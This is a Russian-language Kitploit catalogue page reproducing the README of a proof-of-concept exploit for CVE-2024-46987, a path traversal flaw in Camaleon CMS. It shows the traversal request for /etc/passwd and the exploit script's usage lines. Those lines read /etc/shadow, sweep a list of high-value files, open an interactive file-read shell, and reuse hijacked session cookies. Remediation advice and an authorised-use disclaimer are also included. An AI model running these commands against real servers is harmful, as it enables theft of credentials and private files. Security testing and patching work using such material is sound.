Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-46987 — PoC-эксплойт для CVE-2024-46987 — произвольный обход пути (чтение файлов) в Camaleon CMS | Kitploit
Инструменты/GitHubGitHub/blueberryp1ll/cve-2024-46987
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

PoC-эксплойт для CVE-2024-46987 — произвольный обход пути (чтение файлов) в Camaleon CMS

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-46987 — Camaleon CMS: Произвольный обход пути

Только для авторизованных оценок безопасности, тестирования на проникновение и образовательных исследований.

Обзор

ПолеДетали
CVECVE-2024-46987
ПродуктCamaleon CMS
Версии>= 2.8.0, < 2.8.2 (также подтверждено на 2.9.0)
ТипОбход пути / Произвольное чтение файлов (CWE-22)
АутентификацияТребуется (любая учётная запись с низкими привилегиями)
CVSS7.7 High — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Исправлено в2.8.2

Уязвимость

MediaController#download_private_file передаёт params[:file] без санитизации в fetch_file:

root@kitploit:~
# Vulnerable sink
fetch_file("private/#{params[:file]}")

Нормализация пути не применяется перед использованием значения с send_file, что позволяет аутентифицированному злоумышленнику выйти за пределы каталога private/ с помощью последовательностей ../ и читать произвольные файлы, к которым процесс Rails имеет доступ.

Уязвимая конечная точка:

root@kitploit:~
GET /admin/media/download_private_file?file=../../../../../../etc/passwd

Требования

  • Python 3.8+
  • Библиотека requests
root@kitploit:~
pip3 install requests

Использование

root@kitploit:~
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

Аутентификация по учётным данным

root@kitploit:~
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

Повторное использование существующей сессии (из Burp Suite / DevTools браузера)

root@kitploit:~
# Single file
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

Параметры

ФлагОписание
-uБазовый URL цели
-U / -PИмя пользователя и пароль CMS
--cookieСтрока cookie в сыром виде (альтернатива учётным данным)
-fПуть к файлу для чтения (по умолчанию: /etc/passwd)
-dГлубина обхода — количество ../ (по умолчанию: 10)
--interestingПеребор встроенного списка ценных путей
--interactiveИнтерактивная оболочка чтения файлов
--no-verifyОтключить проверку сертификата TLS
--debugПодробный вывод для диагностики ошибок аутентификации

Примечания о псевдофайлах /proc

Файлы в /proc/self/ (например, environ, cmdline) возвращают HTTP 200, но с пустым телом. Это ожидаемо — ядро сообщает их размер как 0, поэтому send_file в Rails ничего не передаёт. Используйте обычные плоские файлы.

Исправление

Обновите Camaleon CMS до версии 2.8.2 или новее. Патч добавляет правильную нормализацию пути и гарантирует, что разрешённый путь остаётся в пределах целевого каталога перед вызовом send_file.

Альтернативно:

  • Нормализуйте все пути, предоставленные пользователем, перед использованием.
  • Отклоняйте любой ввод, содержащий последовательности ...
  • Примените принцип наименьших привилегий к пользователю ОС, под которым работает процесс Rails.

Ссылки

  • GHSA-cp65-5m9r-vc2c — Уведомление GitHub
  • GHSL-2024-183 — Лаборатория безопасности GitHub
  • NVD — CVE-2024-46987

Отказ от ответственности

Эта концептуальная демонстрация (proof-of-concept) публикуется в образовательных целях и для помощи специалистам по безопасности в понимании и воспроизведении уязвимости в авторизованных тестовых средах. Автор не несёт ответственности за любое неправомерное использование. Всегда получайте явное письменное разрешение перед тестированием систем, которые вам не принадлежат.

Скачать инструмент